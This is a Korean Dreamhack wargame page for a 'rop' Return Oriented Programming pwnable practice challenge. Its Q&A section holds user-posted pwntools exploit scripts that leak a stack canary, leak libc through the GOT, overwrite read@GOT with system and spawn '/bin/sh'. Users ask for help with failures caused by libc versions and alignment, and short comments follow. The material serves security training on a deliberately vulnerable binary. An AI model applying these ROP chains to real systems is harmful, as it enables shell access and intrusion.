LEVEL 2

rop

pwnable
  • 문제 정보
  • 풀이 76
  • 난이도 투표 87
  • 질문 60
  • 최근 풀이자 1765
  • 댓글 41

문제 설명

Description

Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.

문제 수정 내역

2023.04.25: Ubuntu 22.04 환경으로 업데이트하였습니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
2024 Invitational Contenders
출제된 지 4시간 만에 풀이 완료!

난이도 투표 87

질문 60

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
도저히 모르겠습니다 rop 설계는 잘 된 것 같은데...
1 from pwn import * 2 p = process('./rop') 3 #p = remote('host3.dreamhack.games', 14477) 4 context.arch = 'amd64' 5 6 libc = ELF("./libc.so.6") 7 e = ELF('./rop') 8 9 #data of table info 10 read_system = libc.symbols["read"] - libc.symbols["system"] # system function offset 11 read_got = e.got['read'] 12 puts_plt = e.plt['puts'] 13 read_plt = e.plt['read'] 14 write_plt = e.plt['write'] 15 16 ret = 0x0000000000400596 # ret 17 pop_rsi = 0x0000000000400851 # pop rsi; pop r15; ret 18 pop_rdi = 0x0000000000400853 # pop rdi; ret 19 20 #canary leak 21 payload = b'A' * 0x39 22 p.sendafter(b'Buf: ', payload) 23 p.recvuntil(payload) 24 canary = p.recvn(7) 25 canary = u64(b'\x00' + canary) 26 print(canary) 27 28 payload = b'A'0x38 + p64(canary) + b'B'0x08 # pay of canary 29 30 payload += p64(pop_rdi) 31 payload += p64(read_got) 32 payload += p64(puts_plt) #print read GOT 33 34 payload += p64(pop_rdi) 35 payload += p64(0x00) 36 payload += p64(pop_rsi) 37 payload += p64(read_got) 38 payload += p64(0x00) 39 payload += p64(read_plt) #std input = read_got -> last p.send's input 40 41 payload += p64(pop_rdi) 42 payload += p64(read_got + 0x08) 43 payload += p64(ret) 44 payload += p64(read_plt) # system(/bin/sh) 45 46 p.sendafter(b'Buf: ', payload) 47 48 read = u64(p.recvn(6) + b'\x00' * 0x02) 49 libc_base = read - libc.symbols['read'] 50 system = libc_base + libc.symbols['system'] 51 52 print(b'read', read) 53 print(b'base', libc_base) 54 print(b'system', system) 55 56 p.send(p64(system) + b'/bin/sh\x00') # standard input 57 p.interactive() 현재 이렇게 작성을 하였습니다 그런데 SIGSEGV가 뜰 때도 있고, SIGILL가 뜰 때도 있습니다 readGOT 출력 자체는 문제없이 되는 것 같습니다. 사용한 libc.so.6은 문제 파일 받을 때 같이 온 것을 사용했습니다.
avatar 엄마나커서랄로가될래요
서버의 libc 버전을 어떻게 알아낼 수 있나요
from pwn import * def slog(name, addr): return success(": ".join([name, hex(addr)])) #context.log_level ='DEBUG' #p = process("./rop") p = remote("host3.dreamhack.games",16271) e = ELF("./rop") #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") r = ROP(e) [1] Leak Canary buf = b'A'*57 p.sendafter("Buf: ", buf) p.recvuntil(buf) canary = u64(b'\x00'+p.recvn(7)) slog("Canary", canary) [2] Exploit read_plt = e.plt['read'] read_got = e.got['read'] puts_plt = e.plt['puts'] pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0] pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0] payload = b'A'56 + p64(canary) + b'B'8 slog("pop_rdi", pop_rdi) slog("pop_rsi_r15", pop_rsi_r15) slog("read_plt", read_plt) slog("read_got", read_got) slog("puts_plt", puts_plt) puts(read@got) payload += p64(pop_rdi) + p64(read_got) # puts(read@got) payload += p64(puts_plt) # puts(read@got) 호출 read(0, read@got, 0) => read@got -> system payload += p64(pop_rdi) + p64(0) # read(0, , ) payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # read(0, read@got, 0) payload += p64(read_plt) # read(0, read@got, 0) 호출 read("/bin/sh") => system("/bin/sh") payload += p64(pop_rdi) payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh") payload += p64(read_plt) # read("/bin/sh") 호출 p.sendafter("Buf: ", payload) # puts()와 read got를 이용해서 read() 주소 출력 read = u64(p.recvn(6)+b'\x00'*2) # 화면에 출력된 read() 주소를 read에 대입 lb = read - libc.symbols["read"] # libc base = read 주소 - read symbols system = lb + libc.symbols["system"] # system = libc base + system symbols slog("read", read) slog("libc_base", lb) slog("system", system) p.send(p64(system)+b"/bin/sh\x00") p.interactive() local에서는 잘 동작했습니다. 서버에서는 library버전을 p = remote("host3.dreamhack.games",16271) e = ELF("./rop") libc = ELF("./libc.so.6") #libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") r = ROP(e) 올려주신 집파일에 있던 ./libc.so.6 과 /lib/x86_64-linux-gnu/libc-2.27.so를 모두 사용해봤는데 EOF에러가 나네요.. 이유를 도저히 모르겠습니다. ㅠ [*] '/home/coco/work/aslr_nx/rop_practice/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/home/coco/work/aslr_nx/rop_practice/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded 14 cached gadgets for './rop' [+] Canary: 0xe53bfac3cac88600 [+] pop_rdi: 0x400853 [+] pop_rsi_r15: 0x400851 [+] read_plt: 0x4005f0 [+] read_got: 0x601038 [+] puts_plt: 0x4005b0 [+] read: 0x7fefbaa11980 [+] libc_base: 0x7fefba8fd000 [+] system: 0x7fefba94dd60 [*] Switching to interactive mode [*] Got EOF while reading in interactive $ ls $ ls [*] Closed connection to host3.dreamhack.games port 16271 [*] Got EOF while sending in interactive payload += p64(pop_rdi) payload += p64(read_got+0x8) # read 함수의 첫번째 인자 값 ("/bin/sh") payload += p64(ret) payload += p64(read_plt) ret을 추가 해도 동일합니다.. 로컬에서는 돌아가는데요.. 도와주세요.. ㅠㅠ libc_base: 0x7fefba8fd000 libc 베이스 주소가 000으로 나오는 걸 보면 집파일의 libc.so.6 을 사용하는건 맞는 거 같은데 혹시 rdx값이 0이 되어서 그런가요? 스택 어라인 문제도 아닌것 같은데요... 질문을 정리하면 서버의 libc 버전은 어떻게 구할 수 있나요 --> libc 버전 문제라면 어떻게 해결할 수 있나요.. 올라온 libc사이트는 더이상 연결 안되던데요.. 서버 버전이 22.x라면 rdx가 0 이 되어 문제가 일어난 것인지요 --> Return-to-csu 기법으로 해결해야 하나요. 서버 바이너리를 로컬 gdb에 붙일 수는 없지요?
lattekim33

최근 풀이자 1765

avatar
NT_DoHyun
대표 업적 없음
khanhsscd
대표 업적 없음
avatar
bindon
대표 업적 없음
sssswhatisit
대표 업적 없음
IMGYU
대표 업적 없음
billcho
대표 업적 없음
avatar
Dizet
대표 업적 없음
방구석토템
대표 업적 없음
crypto1014
대표 업적 없음
avatar
KangTheConqqq
대표 업적 없음

댓글 41

Ma_Mu0228
대표 업적 없음
잘 작성했는데도 SIGBUS(code -7)이 뜬다면 스택 16바이트 정렬이 문제인가 확인해보세요
곰탕곰탕
대표 업적 없음
멍청하게 libc에서 rop 구해서 했네. 아오
mntly
사이보그
정렬......
avatar
MerryQ
컴퍼니
아. libc 파일로 제공하네
avatar
댕댕180
사이보그
Good.\
avatar
스카이넷
워게임 고인물
ez
catpwn
대표 업적 없음
재밌네
립시 버전...ㅎㅎ
dandb
.HACK 2024 참가자
아이공... /bin/sh 대신에 /bin/ls라고 계속 적고 있었네요..
avatar
Rosieblue
워게임 고인물
어렵네여,,ㅠㅠ